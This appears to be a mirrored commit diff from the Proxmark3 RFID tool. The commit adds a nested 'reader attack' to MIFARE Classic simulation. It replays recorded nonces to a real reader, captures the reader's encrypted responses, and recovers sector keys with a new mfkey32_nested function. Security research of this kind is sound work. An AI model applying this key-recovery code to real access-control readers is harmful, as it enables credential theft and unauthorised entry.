mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-19 21:03:48 -07:00
hf mf sim: add nested reader attack (needs data & rf08s nonces)
This commit is contained in:
parent
00c84b9c22
commit
079689628b
9 changed files with 166 additions and 38 deletions
|
@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
|
|||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||
|
||||
## [unreleased][unreleased]
|
||||
- Changed `hf mf sim` - support data-first and nested reader attacks (@doegox)
|
||||
- Fixed em4x50_read() - `lf search` and `lf em 4x50 rdbl -b <blk>` does not coredump reading EM4450 tag (@ANTodorov)
|
||||
- Fixed flashing - client doesnt fail every other flash attempt (@iceman1001)
|
||||
- Changed `pref show` - add option to dump as JSON (@doegox)
|
||||
|
|
|
@ -1580,7 +1580,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_
|
|||
}
|
||||
}
|
||||
|
||||
switch (ar_nr_nonces[index].state) {
|
||||
switch ((nonce_state)ar_nr_nonces[index].state) {
|
||||
case EMPTY: {
|
||||
// first nonce collect
|
||||
ar_nr_nonces[index].cuid = cuid;
|
||||
|
|
|
@ -1183,7 +1183,7 @@ int MifareAcquireStaticEncryptedNonces(uint32_t flags, const uint8_t *key, bool
|
|||
// Dbprintf("Sec %2i key %i {nT}=%02x%02x%02x%02x perr=%x", sec, keyType, receivedAnswer[0], receivedAnswer[1], receivedAnswer[2], receivedAnswer[3], nt_par_err);
|
||||
// store nt_par_err
|
||||
buf[(keyType * 8) + 2] = nt_par_err;
|
||||
buf[(keyType * 8) + 3] = 0xAA; // flag to tell we don't know the key yet
|
||||
buf[(keyType * 8) + 3] = 0xAA; // extra check to tell we have nt/nt_enc/par_err
|
||||
emlSetMem_xt(buf, (CARD_MEMORY_RF08S_OFFSET / MIFARE_BLOCK_SIZE) + sec, 1, MIFARE_BLOCK_SIZE);
|
||||
// send some crap to fail auth
|
||||
ReaderTransmit(nack, sizeof(nack), NULL);
|
||||
|
|
|
@ -45,6 +45,7 @@
|
|||
#include "crc16.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "parity.h"
|
||||
|
||||
static bool IsKeyBReadable(uint8_t blockNo) {
|
||||
uint8_t sector_trailer[16];
|
||||
|
@ -459,8 +460,9 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_
|
|||
* FLAG_7B_UID_IN_DATA - means that there is a 7-byte UID in the data-section, we're expected to use that
|
||||
* FLAG_10B_UID_IN_DATA - use 10-byte UID in the data-section not finished
|
||||
* FLAG_NR_AR_ATTACK - means we should collect NR_AR responses for bruteforcing later
|
||||
* FLAG_NESTED_AUTH_ATTACK - means that we support nested authentication attack
|
||||
*@param exitAfterNReads, exit simulation after n blocks have been read, 0 is infinite ...
|
||||
* (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attmpted)
|
||||
* (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attempted)
|
||||
*/
|
||||
void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint16_t atqa, uint8_t sak) {
|
||||
tag_response_info_t *responses;
|
||||
|
@ -539,6 +541,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
|
|||
|
||||
int counter = 0;
|
||||
bool finished = false;
|
||||
bool running_nested_auth_attack = false;
|
||||
bool button_pushed = BUTTON_PRESS();
|
||||
while ((button_pushed == false) && (finished == false)) {
|
||||
|
||||
|
@ -788,7 +791,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
|
|||
|
||||
// Load key into crypto
|
||||
crypto1_init(pcs, emlGetKey(cardAUTHSC, cardAUTHKEY));
|
||||
|
||||
running_nested_auth_attack = false;
|
||||
if (!encrypted_data) {
|
||||
// Receive Cmd in clear txt
|
||||
// Update crypto state (UID ^ NONCE)
|
||||
|
@ -812,9 +815,38 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
|
|||
ans = nonce ^ crypto1_word(pcs, cuid ^ nonce, 0);
|
||||
num_to_bytes(ans, 4, rAUTH_AT);
|
||||
*/
|
||||
|
||||
// if key not known and FLAG_NESTED_AUTH_ATTACK and we have nt/nt_enc/parity, send recorded nt_enc and parity
|
||||
if ((flags & FLAG_NESTED_AUTH_ATTACK) == FLAG_NESTED_AUTH_ATTACK) {
|
||||
if (emlGetKey(cardAUTHSC, cardAUTHKEY) == 0) {
|
||||
uint8_t buf[16] = {0};
|
||||
emlGetMem(buf, (CARD_MEMORY_RF08S_OFFSET / MIFARE_BLOCK_SIZE) + cardAUTHSC, 1);
|
||||
if (buf[(cardAUTHKEY * 8) + 3] == 0xAA) { // extra check to tell we have nt/nt_enc/par_err
|
||||
running_nested_auth_attack = true;
|
||||
// nt
|
||||
nonce = bytes_to_num(buf + (cardAUTHKEY * 8), 2);
|
||||
nonce = nonce << 16 | prng_successor(nonce, 16);
|
||||
// nt_enc
|
||||
memcpy(response, buf + (cardAUTHKEY * 8) + 4, 4);
|
||||
uint8_t nt_par_err = buf[(cardAUTHKEY * 8) + 2];
|
||||
uint32_t nt_enc = bytes_to_num(response, 4);
|
||||
response_par[0] = ((((nt_par_err >> 3) & 1) ^ oddparity8((nt_enc >> 24) & 0xFF)) << 7 |
|
||||
(((nt_par_err >> 2) & 1) ^ oddparity8((nt_enc >> 16) & 0xFF)) << 6 |
|
||||
(((nt_par_err >> 1) & 1) ^ oddparity8((nt_enc >> 8) & 0xFF)) << 5 |
|
||||
(((nt_par_err >> 0) & 1) ^ oddparity8((nt_enc >> 0) & 0xFF)) << 4);
|
||||
ar_nr_resp[0].cuid = cuid;
|
||||
ar_nr_resp[0].sector = cardAUTHSC;
|
||||
ar_nr_resp[0].keytype = cardAUTHKEY;
|
||||
ar_nr_resp[0].nonce = nonce;
|
||||
ar_nr_resp[0].nonce2 = nt_enc;
|
||||
};
|
||||
}
|
||||
}
|
||||
if (running_nested_auth_attack == false) {
|
||||
// rAUTH_NT, rAUTH_NT_keystream contains prepared nonce and keystream for nested authentication
|
||||
// we need calculate parity bits for non-encrypted sequence
|
||||
mf_crypto1_encryptEx(pcs, rAUTH_NT, rAUTH_NT_keystream, response, 4, response_par);
|
||||
}
|
||||
EmSendCmdPar(response, 4, response_par);
|
||||
FpgaDisableTracing();
|
||||
|
||||
|
@ -1145,6 +1177,12 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
|
|||
// test if auth KO
|
||||
if (cardRr != prng_successor(nonce, 64)) {
|
||||
// Collect AR/NR per keytype & sector
|
||||
if (running_nested_auth_attack) {
|
||||
ar_nr_resp[0].nr = nr;
|
||||
ar_nr_resp[0].ar = ar;
|
||||
ar_nr_resp[0].state = NESTED;
|
||||
finished = true;
|
||||
}
|
||||
if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) {
|
||||
|
||||
for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
|
||||
|
@ -1319,11 +1357,29 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
|
|||
|
||||
FpgaDisableTracing();
|
||||
|
||||
// NR AR ATTACK
|
||||
uint8_t index = 0;
|
||||
if (running_nested_auth_attack) {
|
||||
if ((nonce_state)ar_nr_resp[0].state == NESTED) {
|
||||
running_nested_auth_attack = false;
|
||||
if (g_dbglevel >= DBG_INFO) {
|
||||
Dbprintf("Collected nested AR/NR which can be used to extract sector %d " _YELLOW_("%s")
|
||||
, ar_nr_resp[0].sector
|
||||
, (ar_nr_resp[0].keytype == AUTHKEYA) ? "key A" : "key B"
|
||||
);
|
||||
Dbprintf("../tools/mfc/card_reader/mfkey32nested %08x %08x %08x %08x %08x",
|
||||
ar_nr_resp[0].cuid, //UID
|
||||
ar_nr_resp[0].nonce, //NT
|
||||
ar_nr_resp[0].nonce2,//NT_ENC
|
||||
ar_nr_resp[0].nr, //NR1
|
||||
ar_nr_resp[0].ar //AR1
|
||||
);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// NR AR ATTACK
|
||||
if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) {
|
||||
for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
|
||||
if (ar_nr_resp[i].state == SECOND) {
|
||||
if ((nonce_state)ar_nr_resp[i].state == SECOND) {
|
||||
index = i;
|
||||
if (g_dbglevel >= DBG_INFO) {
|
||||
Dbprintf("Collected two pairs of AR/NR which can be used to extract sector %d " _YELLOW_("%s")
|
||||
|
@ -1343,6 +1399,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
|
|||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (g_dbglevel >= DBG_ERROR) {
|
||||
Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", get_tracing(), BigBuf_get_traceLen());
|
||||
}
|
||||
|
|
|
@ -4044,7 +4044,13 @@ void readerAttack(sector_t *k_sector, size_t k_sectors_cnt, nonces_t data, bool
|
|||
}
|
||||
|
||||
uint64_t key = 0;
|
||||
if (mfkey32_moebius(&data, &key)) {
|
||||
bool found = false;
|
||||
if ((nonce_state)data.state == SECOND) {
|
||||
found = mfkey32_moebius(&data, &key);
|
||||
} else if ((nonce_state)data.state == NESTED) {
|
||||
found = mfkey32_nested(&data, &key);
|
||||
}
|
||||
if (found) {
|
||||
uint8_t sector = data.sector;
|
||||
uint8_t keytype = data.keytype;
|
||||
|
||||
|
@ -4094,6 +4100,7 @@ static int CmdHF14AMfSim(const char *Cmd) {
|
|||
"hf mf sim --1k -u 11223344 -i -x --> Perform reader attack in interactive mode\n"
|
||||
"hf mf sim --2k --> MIFARE 2k\n"
|
||||
"hf mf sim --4k --> MIFARE 4k"
|
||||
"hf mf sim --1k -x -e --> Keep simulation running and populate with found reader keys\n"
|
||||
);
|
||||
|
||||
void *argtable[] = {
|
||||
|
@ -4107,8 +4114,9 @@ static int CmdHF14AMfSim(const char *Cmd) {
|
|||
arg_str0(NULL, "sak", "<hex>", "Provide explicit SAK (1 bytes, overrides option t)"),
|
||||
arg_int0("n", "num", "<dec> ", "Automatically exit simulation after <numreads> blocks have been read by reader. 0 = infinite"),
|
||||
arg_lit0("i", "interactive", "Console will not be returned until simulation finishes or is aborted"),
|
||||
arg_lit0("x", NULL, "Performs the 'reader attack', nr/ar attack against a reader"),
|
||||
arg_lit0("e", "emukeys", "Fill simulator keys from found keys"),
|
||||
arg_lit0("x", NULL, "Performs the 'reader attack', nr/ar attack against a reader."),
|
||||
arg_lit0("y", NULL, "Performs the nested 'reader attack'. This requires preloading nt & nt_enc in emulator memory. Implies -x."),
|
||||
arg_lit0("e", "emukeys", "Fill simulator keys from found keys. Requires -x or -y. Implies -i. Simulation will restart automatically."),
|
||||
arg_lit0("v", "verbose", "verbose output"),
|
||||
arg_lit0(NULL, "cve", "trigger CVE 2021_0430"),
|
||||
arg_param_end
|
||||
|
@ -4166,10 +4174,15 @@ static int CmdHF14AMfSim(const char *Cmd) {
|
|||
flags |= FLAG_NR_AR_ATTACK;
|
||||
}
|
||||
|
||||
bool setEmulatorMem = arg_get_lit(ctx, 11);
|
||||
bool verbose = arg_get_lit(ctx, 12);
|
||||
if (arg_get_lit(ctx, 11)) {
|
||||
flags |= FLAG_NESTED_AUTH_ATTACK;
|
||||
}
|
||||
|
||||
if (arg_get_lit(ctx, 13)) {
|
||||
bool setEmulatorMem = arg_get_lit(ctx, 12);
|
||||
|
||||
bool verbose = arg_get_lit(ctx, 13);
|
||||
|
||||
if (arg_get_lit(ctx, 14)) {
|
||||
flags |= FLAG_CVE21_0430;
|
||||
}
|
||||
CLIParserFree(ctx);
|
||||
|
@ -4225,6 +4238,24 @@ static int CmdHF14AMfSim(const char *Cmd) {
|
|||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
if ((flags & FLAG_NESTED_AUTH_ATTACK) == FLAG_NESTED_AUTH_ATTACK) {
|
||||
if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) {
|
||||
PrintAndLogEx(INFO, "Note: option -y implies -x");
|
||||
flags |= FLAG_NR_AR_ATTACK;
|
||||
}
|
||||
}
|
||||
|
||||
if (setEmulatorMem) {
|
||||
if ((flags & FLAG_INTERACTIVE) != FLAG_INTERACTIVE) {
|
||||
PrintAndLogEx(INFO, "Note: option -e implies -i");
|
||||
flags |= FLAG_INTERACTIVE;
|
||||
}
|
||||
if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) {
|
||||
PrintAndLogEx(WARNING, "Option -e requires -x or -y");
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, _YELLOW_("MIFARE %s") " | %s UID " _YELLOW_("%s") ""
|
||||
, csize
|
||||
, uidsize
|
||||
|
@ -4281,7 +4312,9 @@ static int CmdHF14AMfSim(const char *Cmd) {
|
|||
|
||||
const nonces_t *data = (nonces_t *)resp.data.asBytes;
|
||||
readerAttack(k_sector, k_sectors_cnt, data[0], setEmulatorMem, verbose);
|
||||
if (setEmulatorMem) {
|
||||
cont = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if (keypress) {
|
||||
|
|
|
@ -160,6 +160,38 @@ bool mfkey32_moebius(nonces_t *data, uint64_t *outputkey) {
|
|||
return isSuccess;
|
||||
}
|
||||
|
||||
// recover key from 2 reader responses on 2 different tag challenges
|
||||
// skip "several found keys". Only return true if ONE key is found
|
||||
bool mfkey32_nested(nonces_t *data, uint64_t *outputkey) {
|
||||
struct Crypto1State *s, *t;
|
||||
uint64_t key = 0; // recovered key
|
||||
bool isSuccess = false;
|
||||
|
||||
uint32_t uid = data->cuid;
|
||||
uint32_t nt = data->nonce;
|
||||
uint32_t nt_enc = data->nonce2;
|
||||
uint32_t ar = prng_successor(nt, 64);
|
||||
uint32_t nr_enc = data->nr;
|
||||
uint32_t ar_enc = data->ar;
|
||||
uint32_t ks0 = nt_enc ^ nt;
|
||||
uint32_t ks2 = ar_enc ^ ar;
|
||||
s = lfsr_recovery32(ks0, uid ^ nt);
|
||||
for (t = s; t->odd | t->even; ++t) {
|
||||
crypto1_word(t, nr_enc, 1);
|
||||
if (ks2 == crypto1_word(t, 0, 0)) {
|
||||
lfsr_rollback_word(t, 0, 0);
|
||||
lfsr_rollback_word(t, nr_enc, 1);
|
||||
lfsr_rollback_word(t, uid ^ nt, 0);
|
||||
crypto1_get_lfsr(t, &key);
|
||||
isSuccess = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
*outputkey = (isSuccess) ? key : 0;
|
||||
crypto1_destroy(s);
|
||||
return isSuccess;
|
||||
}
|
||||
|
||||
// recover key from reader response and tag response of one authentication sequence
|
||||
int mfkey64(nonces_t *data, uint64_t *outputkey) {
|
||||
uint64_t key = 0; // recovered key
|
||||
|
|
|
@ -26,6 +26,7 @@
|
|||
uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint32_t ar, uint64_t par_info, uint64_t ks_info, uint64_t **keys);
|
||||
bool mfkey32(nonces_t *data, uint64_t *outputkey);
|
||||
bool mfkey32_moebius(nonces_t *data, uint64_t *outputkey);
|
||||
bool mfkey32_nested(nonces_t *data, uint64_t *outputkey);
|
||||
int mfkey64(nonces_t *data, uint64_t *outputkey);
|
||||
|
||||
int compare_uint64(const void *a, const void *b);
|
||||
|
|
|
@ -167,6 +167,13 @@ typedef enum {
|
|||
//-----------------------------------------------------------------------------
|
||||
// "hf 14a sim -x", "hf mf sim -x" attacks
|
||||
//-----------------------------------------------------------------------------
|
||||
typedef enum {
|
||||
EMPTY,
|
||||
FIRST,
|
||||
SECOND,
|
||||
NESTED
|
||||
} nonce_state;
|
||||
|
||||
typedef struct {
|
||||
uint32_t cuid;
|
||||
uint32_t nonce;
|
||||
|
@ -178,11 +185,7 @@ typedef struct {
|
|||
uint32_t nr2;
|
||||
uint8_t sector;
|
||||
uint8_t keytype;
|
||||
enum {
|
||||
EMPTY,
|
||||
FIRST,
|
||||
SECOND,
|
||||
} state;
|
||||
uint8_t state;
|
||||
} PACKED nonces_t;
|
||||
|
||||
#endif // _MIFARE_H_
|
||||
|
|
|
@ -780,6 +780,7 @@ typedef struct {
|
|||
#define FLAG_FORCED_SAK 0x1000
|
||||
#define FLAG_CVE21_0430 0x2000
|
||||
#define FLAG_RATS_IN_DATA 0x4000
|
||||
#define FLAG_NESTED_AUTH_ATTACK 0x8000
|
||||
|
||||
|
||||
#define MODE_SIM_CSN 0
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue